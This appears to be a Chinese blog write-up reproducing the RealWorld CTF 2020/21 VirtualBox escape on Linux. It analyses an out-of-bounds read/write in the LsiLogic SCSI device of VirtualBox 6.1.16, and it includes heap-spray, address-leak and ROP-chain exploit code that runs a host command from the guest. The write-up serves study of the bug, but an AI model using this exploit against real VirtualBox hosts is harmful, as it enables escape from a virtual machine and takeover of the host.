RealWorld CTF 2020/21 BoxEscape漏洞复现

前言

今年2月份RealWorld CTF出了两道虚拟机逃逸的题目,之前没有接触过VirtualBox所以当时并没有研究。由于原题涉及的主机和虚拟机都是windows平台,源码编译和驱动编写似乎比较麻烦,所以我决定在linux平台搭建对应的环境并复现了比赛题目所涉及的逃逸漏洞。后面有空的话自己再进一步实现windows平台下的移植,有兴趣的可以参考Sauercl0ud所给出的关于原题的writeup,见文末链接。

本文所使用的环境如下,主机:linuxmint-20.1-cinnamon-64bit.iso,虚拟机:linuxmint-20.1-cinnamon-64bit.iso或xubuntu-20.04.1-desktop-amd64.iso,VirtualBox源码:VirtualBox-6.1.16.tar.bz2。注:在linux平台下的漏洞利用思路与windows下类似,但在如何寻找结构体以及劫持EIP部分存在一些不同。

漏洞分析

1.访问处理函数

漏洞涉及的虚拟设备为LsiLogicSCSI设备,在该设备的构造函数中,注册了端口LSILOGIC_BIOS_IO_PORT和LSILOGIC_SAS_BIOS_IO_PORT的访问处理函数(可直接在客户机中通过io函数访问)如下:

static DECLCALLBACK(int) lsilogicR3Construct(PPDMDEVINS pDevIns, int iInstance, PCFGMNODE pCfg)  
{  
    ...  
    /* 
     * Register I/O port space in ISA region for BIOS access 
     * if the controller is marked as bootable. 
     */  
    if (fBootable)  
    {  
        if (pThis->enmCtrlType == LSILOGICCTRLTYPE_SCSI_SPI)  
            rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, LSILOGIC_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,  
                                               lsilogicR3IsaIOPortWrite, lsilogicR3IsaIOPortRead,  
                                               lsilogicR3IsaIOPortWriteStr, lsilogicR3IsaIOPortReadStr, NULL /*pvUser*/,  
                                               "LsiLogic BIOS", NULL /*paExtDesc*/, &pThis->hIoPortsBios);  
        else if (pThis->enmCtrlType == LSILOGICCTRLTYPE_SCSI_SAS)  
            rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, LSILOGIC_SAS_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,  
                                               lsilogicR3IsaIOPortWrite, lsilogicR3IsaIOPortRead,  
                                               lsilogicR3IsaIOPortWriteStr, lsilogicR3IsaIOPortReadStr, NULL /*pvUser*/,  
                                               "LsiLogic SAS BIOS", NULL /*paExtDesc*/, &pThis->hIoPortsBios);  
        else  
            AssertMsgFailedReturn(("Invalid controller type %d\n", pThis->enmCtrlType), VERR_INTERNAL_ERROR_3);  
        AssertRCReturn(rc, PDMDEV_SET_ERROR(pDevIns, rc, N_("LsiLogic cannot register legacy I/O handlers")));  
    }  
    ...  
}

2.lsilogicR3IsaIOPortWrite函数

该函数的主要实现为vboxscsiWriteRegister函数,在此函数内通过pVBoxSCSI->enmState字段维护了一个状态机,初始状态为VBOXSCSISTATE_NO_COMMAND。客户机向端口偏移为0的位置写入SCSI命令,主机从该端口中依次获取命令传输方向TXDIR、命令描述符块CDB的大小pVBoxSCSI->cbCDB、命令参数所需缓冲区大小的高低中位SIZE_BUFHI/LSB/MID,逐字节获取命令描述符并保存在pVBoxSCSI->abCDB中,并分配参数所需的缓冲区pVBoxSCSI->pbBuf。

准备就绪后,客户机通过端口偏移为1的位置逐字节写入命令参数,主机获取并保存在pVBoxSCSI->pbBuf中。其中pVBoxSCSI->iBuf字段记录了当前缓冲区访问的位置,pVBoxSCSI->cbBufLeft字段记录了剩余的待访问缓冲区大小。由于该部分代码较长,不在这里贴出。

3.lsilogicR3IsaIOPortReadStr函数

该函数的主要实现为vboxscsiReadString函数,处理客户机对上述两个端口的insb/w/l访问。当待访问缓冲区大于0时,从当前位置读取指定的字节数cbTransfer并更新pVBoxSCSI->iBuf和pVBoxSCSI->cbBufLeft字段。其中pcTransfers为字符串读操作的大小(参数),cb为字符串读操作的宽度,即b/w/l。

int vboxscsiReadString(PPDMDEVINS pDevIns, PVBOXSCSI pVBoxSCSI, uint8_t iRegister,  
                       uint8_t *pbDst, uint32_t *pcTransfers, unsigned cb)  
{  
    ...  
    uint32_t cbTransfer = *pcTransfers * cb;  
    if (pVBoxSCSI->cbBufLeft > 0)  
    {  
        Assert(cbTransfer <= pVBoxSCSI->cbBuf);  
        if (cbTransfer > pVBoxSCSI->cbBuf)  
        {  
            memset(pbDst + pVBoxSCSI->cbBuf, 0xff, cbTransfer - pVBoxSCSI->cbBuf);  
            cbTransfer = pVBoxSCSI->cbBuf;  /* Ignore excess data (not supposed to happen). */  
        }  

        /* Copy the data and adance the buffer position. */  
        memcpy(pbDst, pVBoxSCSI->pbBuf + pVBoxSCSI->iBuf, cbTransfer);  

        /* Advance current buffer position. */  
        pVBoxSCSI->iBuf      += cbTransfer;  
        pVBoxSCSI->cbBufLeft -= cbTransfer;  

        /* When the guest reads the last byte from the data in buffer, clear 
           everything and reset command buffer. */  
        if (pVBoxSCSI->cbBufLeft == 0)  
            vboxscsiReset(pVBoxSCSI, false /*fEverything*/);  
    }  
    ...  
}

在这里将访问字节数cbTransfer与命令参数缓冲区的大小pVBoxSCSI->cbBuf进行了比较检查,但未检查cbTransfer是否超出了剩余待访问大小pVBoxSCSI->cbBufLeft。并且将cbTransfer设置为越界值时, pVBoxSCSI->cbBufLeft字段将被更新为负数(unsigned int),可以实现进一步的越界读写。

漏洞利用

1.Heap spray

通过发送功能为GUEST_PROP_FN_GET_NOTIFICATION的GuestProperties HGCM服务调用进行Heap spray,使后续申请的堆空间连续,以便对漏洞所涉及的pVBoxSCSI->pbBuf和漏洞利用结构体进行排布。对于每个HGCM Client最大可创建的调用消息个数为GUEST_PROP_MAX_GUEST_CONCURRENT_WAITS(0x10个),Client个数为0x64个。在这一步我创建了0x50个Client,并为每个CLien发送0x10个消息实现Heap Spray,后续分配的堆空间将在top chunk中分配。对应主机处理流程如下:

#0  guestProp::Service::getNotification (this=0x7f28b8001600, u32ClientId=2, callHandle=0x7f28cc544500, cParms=4, paParms=0x7f287b84ef60) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:1216  
#1  0x00007f28d4b64a59 in guestProp::Service::call (this=0x7f28b8001600, callHandle=0x7f28cc544500, u32ClientID=2, eFunction=6, cParms=4, paParms=0x7f287b84ef60) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:1471  
#2  0x00007f28d4b6758c in guestProp::Service::svcCall (pvService=0x7f28b8001600, callHandle=0x7f28cc544500, u32ClientID=2, pvClient=0x0, u32Function=6, cParms=4, paParms=0x7f287b84ef60, tsArrival=4461623782606) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:372

Heap spray所使用的结构为HGCMMsgCall结构体以及GetNotification调用传递的pszPatterns字符串,其中HGCMMsgCall结构体在HGCMService::GuestCall函数中创建:

int HGCMService::GuestCall(PPDMIHGCMPORT pHGCMPort, PVBOXHGCMCMD pCmd, uint32_t u32ClientId, uint32_t u32Function,  
                           uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)  
{  
    HGCMMsgCall *pMsg = new (std::nothrow) HGCMMsgCall(m_pThread);  
    ...  
    return rc;  
}

2.地址泄露

地址泄露所使用的结构体同样为HGCMMsgCall结构体,其中vtable字段和m_pfnCallback字段包含了VBoxC.so库中函数指针,m_pNext和m_pPrev字段用于链接其他HGCMMsgCall结构体并形成双链表,指向了结构体的堆地址,pHGCMPort指向了该类型HGCM调用的一些接口函数。在越界读漏洞的pbBuf后创建一些HGCMMsgCall结构体以实现地址泄露。

pwndbg> p *(struct HGCMMsgCall *)0x7f014c5e4660  
$2 = {  
  <HGCMMsgHeader> = {  
    <HGCMMsgCore> = {  
      <HGCMReferencedObject> = {  
        _vptr.HGCMReferencedObject = 0x7f018cb1fb28 <vtable for HGCMMsgCall+16>,  
        ...  
      },   
      members of HGCMMsgCore:  
      ...  
      m_pfnCallback = 0x7f018c888c0e <hgcmMsgCompletionCallback(int32_t, HGCMMsgCore*)>,  
      m_pNext = 0x7f014c5e4b20,  
      m_pPrev = 0x7f014c5e4400,  
      ...  
    },   
    members of HGCMMsgHeader:  
    pCmd = 0x7f01804a9e00,  
    pHGCMPort = 0x7f01800141b0  
  },   
  members of HGCMMsgCall:  
  u32ClientId = 58,  
  u32Function = 6,  
  ...  
}

通过HGCMMsgCall结构体首字段vtable指针可以泄露VBoxC.so库的基地址,通过m_pNext和m_pPrev指针泄露堆地址,具体方法如下:越界读获取一个HGCMMsgCall结构体curObj,记录越界读的偏移curPos,并获取该结构体中的m_pNext和m_pPrev指针;继续越界读获取下一HGCMMsgCall结构体nextObj,类似地获取其越界读偏移以及链表指针,当curObj->pPrev - nextObj->pNext或curObj->pNext - nextObj->pPrev的值与nextObj->curPos - curObj->curPos的值相同时,表示两个结构体在链表中相邻,此时curObj的堆地址即为nextObj->pPrev/pNext。

3.命令执行

通过越界读在curObj结构体后获取一个保存pszPatterns字符串的chunk,覆盖该chunk并在其中设置ROP gadgets。之后继续越界读获取nextObj,通过curObj地址计算pszPatterns字符串chunk的堆地址,越界写覆盖nextObj中的pHGCMPort指针,使其指向pszPatterns字符串chunk地址。当主机进程对nextObj结构体进行异步处理时调用其中的接口函数触发ROP实现命令执行。以上流程的主要利用代码如下,这里给出的ROP为源码编译成Debug版本产生的ROP:

/* Create oob pVBoxSCSI->pbBuf */  
oobInit(0x70, 0x8);  
/* Spray some HGCMMsgCall with specific pattern behind the pbBuf */  
patternSize = 0x120;  
pattern = calloc(1, patternSize);  
for(i = 56; i < 60; i++){  
    sprayClient = VGDrv_HGCMConnect(vbguest, "VBoxGuestPropSvc");  
    for(j = 0; j < GUEST_PROP_MAX_GUEST_CONCURRENT_WAITS; j++){  
        sprintf(pattern, "dataprop%02d=%02d", sprayClient, j);  
        perfixLen = strlen(pattern);  
        memset(pattern + perfixLen, 0x41, patternSize - perfixLen - 1);  
        GPVMMDev_GetNotification(vegst, sprayClient, pattern, patternSize, timestamp, retbuf, retbufSize);  
        printf("[+]Heap spray, current clientID = 0x%x, current call = 0x%x\n", sprayClient, j);  
    }  
}  
/* Looking for a HGCMMsgCall obj chunk which size = 0x85 */  
struct HGCMMsgCallInfo *curObj = calloc(1, sizeof(HGCMMsgCallInfo));  
seekObj(curObj);  
uint64_t curAddr = 0;     //current object heap addr, get it later  
uint64_t vboxcAddr = 0;   //caculate it later for different vbox version  
/* Looking for a pattern chunk to place our data */  
uint8_t *cmdStr = "/usr/bin/gnome-calculator\n";  
uint64_t *vulnPattern = calloc(1, patternSize);  
vboxcAddr = curObj->vtableAddr - 0x61FB28;  //caculate base addr of VBoxC.so in debug version  
vulnPattern[0] = 0x0;                       //rbp for leave in gadget1  
vulnPattern[1] = vboxcAddr + 0x11A1EB;      //pop r12; pop rbp; ret; gadget2  
vulnPattern[2] = vboxcAddr + 0x33d1AE;      //xchg rax, rbp; fcos; leave; ret; rax = pattern chunk heap addr, gadget1 for stack pivot  
vulnPattern[3] = vboxcAddr + 0x647078 + 0x8;//strcmp .got.plt + 0x8  
vulnPattern[4] = vboxcAddr + 0x114385;      //mov rax, qword ptr [rbp - 8]; pop rbp; ret; gadget3  
vulnPattern[5] = 0x0;                       //rbp  
vulnPattern[6] = vboxcAddr + 0x27f773;      //pop rcx; ret; gadget4  
vulnPattern[7] = 0xFFFFFFFFFFECE8B0;        //rcx  
vulnPattern[8] = vboxcAddr + 0x19D50E;      //add rax, rcx; pop rbp; ret; gadget5  
vulnPattern[9] = 0x0;                       //rbp  
vulnPattern[10] = vboxcAddr + 0x38695C;     //add rdx, 0x98; mov rdi, rdx; call rax; gadget6  
memcpy(vulnPattern + 19, cmdStr, strlen(cmdStr));   //cmd string at rdx + 0x98  
if(strlen(cmdStr) + 0x98 > patternSize){  
    printf("[+]Error: rop gadgets length is larger than pattern chunk size\n");  
    exit(-1);  
}  
uint64_t patternPos = seekPattern("dataprop", patternSize); //mark curent chunk data offset, in order to caculate heap addr larter  
oobWriteAdd(vulnPattern, patternSize);  
uint64_t patternAddr = 0;               //pattern chunk heap addr  
/* Looking for cur->pPrev or cur->pNext object in the double link */  
sleep(3);  
uint32_t tryTime = 0;  
uint32_t objOffset = 0;  
uint32_t fdOffset = 0;  
uint32_t bkOffset = 0;  
struct HGCMMsgCallInfo *nextObj = calloc(1, sizeof(HGCMMsgCallInfo));  
for(tryTime = 0; tryTime < 0x10; tryTime++){  
    seekObj(nextObj);  
    objOffset = nextObj->curPos - curObj->curPos;  
    fdOffset = curObj->pPrev - nextObj->pNext;  
    bkOffset = curObj->pNext - nextObj->pPrev;  
    printf("[+]Checking object offset = 0x%llx, forward link offset = 0x%llx, backward link offset = 0x%llx\n", objOffset, fdOffset, bkOffset);  
    if(objOffset == fdOffset){  
        printf("[+]Get pPrev of current object, curObj addr = 0x%llx\n", nextObj->pNext);  
        curAddr = nextObj->pNext;  
        break;  
    } else if(objOffset == bkOffset){  
        printf("[+]Get pNext of current object, curObj addr = 0x%llx\n", nextObj->pPrev);  
        curAddr = nextObj->pPrev;  
        break;  
    }  
    /* If we cannot find adjacent object with limited attempt, update current object and pattern chunk, goto next trail loop */  
    if((tryTime != 0) && (tryTime%3 == 0)){  
        memcpy(curObj, nextObj, sizeof(HGCMMsgCallInfo));  
        printf("[+]Update current object and pattern chunk for a new trail, curPos = 0x%llx\n", curObj->curPos);  
        patternPos = seekPattern("dataprop", patternSize);  
        oobWriteAdd(vulnPattern, patternSize);  
    }  
}

以下是HGCMMsgCall->pHGCMPort字段所包含的接口函数,若客户机用户程序不发送任何后续消息,主机进程将调用pfnCompleted接口函数完成当前HGCMMsgCall结构体的处理;若客户机再次使用对应的ClientID发送GetNotification调用消息,主机进程将调用pfnIsCmdCancelled接口函数取消原HGCMMsgCall结构体表示的消息。

typedef struct PDMIHGCMPORT {  
    DECLR3CALLBACKMEMBER(int, pfnCompleted,(PPDMIHGCMPORT pInterface, int32_t rc, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(bool, pfnIsCmdRestored,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(bool, pfnIsCmdCancelled,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(uint32_t, pfnGetRequestor,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(uint64_t, pfnGetVMMDevSessionId,(PPDMIHGCMPORT pInterface));  
} PDMIHGCMPORT;

劫持pfnCompleted接口函数的情形如下,函数参数为pMsgHdr->pHGCMPort、result和pMsgHdr->pCmd。

RAX  0xffffffd9  
 RBX  0x7f3cb8001638 —▸ 0x7f3cb8012290 —▸ 0x7f3cb80122d0 —▸ 0x7f3cb8012310 —▸ 0x7f3cb8012350 ◂— ...  
 RCX  0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')  
 RDX  0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')  
 RDI  0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')  
 RSI  0xffffffd9  
 R8   0x4242424242424242 ('BBBBBBBB')  
 R9   0x7f3cfcb460e8 ◂— 'void PGMPhysReleasePageMappingLock(PVMCC, PPGMPAGEMAPLOCK)'  
 ...  
─────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────  
 ► 0x7f3cffcf4cc0    call   r8 <0x4242424242424242>  
   0x7f3cffcf4cc3    jmp    0x7f3cffcf4cd1 <0x7f3cffcf4cd1>  
   0x7f3cffcf4cc5    mov    eax, 0xfffffe99  
   0x7f3cffcf4cca    jmp    0x7f3cffcf4cd1 <0x7f3cffcf4cd1>  
   0x7f3cffcf4ccc    mov    eax, 0xffffa87d  
   0x7f3cffcf4cd1    leave    
   0x7f3cffcf4cd2    ret      
   ...  
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────  
In file: /home/john/Application/VirtualBox-6.1.16/src/VBox/Main/src-client/HGCM.cpp  
    997     LogFlow(("MAIN::hgcmMsgCompletionCallback: message %p\n", pMsgCore));  
    998   
    999     if (pMsgHdr->pHGCMPort)  
   1000     {  
   1001         if (!g_fResetting)  
 ► 1002             return pMsgHdr->pHGCMPort->pfnCompleted(pMsgHdr->pHGCMPort,  
   1003                                                     g_fSaveState ? VINF_HGCM_SAVE_STATE : result, pMsgHdr->pCmd);  
   1004         return VERR_ALREADY_RESET; /* best I could find. */  
   1005     }  
   1006     return VERR_NOT_AVAILABLE;  
   1007 }

劫持pfnIsCmdCancelled接口函数的情形如下,函数参数为pMsgHdr->pHGCMPort和pMsgHdr->pCmd。本文通过这里的rax寄存器和"xchg rax, rbp"gadget实现stackpivot,并进一步构造ROP达到命令执行。

*RAX  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pHGCMPort  
 RBX  0x7f865d5f42be (HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)) ◂— endbr64   
*RCX  0x4242424242424242 ('BBBBBBBB')  
*RDX  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pCmd  
*RDI  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pHGCMPort  
*RSI  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pCmd  
*R8   0x7f85bdb05d60 ◂— 0x3  
 R9   0x4  
 ...  
─────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────  
 ► 0x7f865d5f44cf <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+529>    call   rcx <0x4242424242424242>  
   0x7f865d5f44d1 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+531>    nop      
   0x7f865d5f44d2 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+532>    leave    
   0x7f865d5f44d3 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+533>    ret      
   ...  
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────  
In file: /home/john/Application/VirtualBox-6.1.16/src/VBox/Main/src-client/HGCM.cpp  
   902     AssertPtrReturn(pCmd, false);  
   903   
   904     PPDMIHGCMPORT pHgcmPort = pMsgHdr->pHGCMPort;  
   905     AssertPtrReturn(pHgcmPort, false);  
   906   
 ► 907     return pHgcmPort->pfnIsCmdCancelled(pHgcmPort, pCmd);  
   908 }  
   909

4.Demo


参考链接:
https://www.virtualbox.org/wiki/Linux%20build%20instructions
https://www.giantbranch.cn/2019/08/07/%E5%9C%A8ubuntu%2018.04%E4%B8%8A%E7%BC%96%E8%AF%91VirtualBox/
https://secret.club/2021/01/14/vbox-escape.html

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖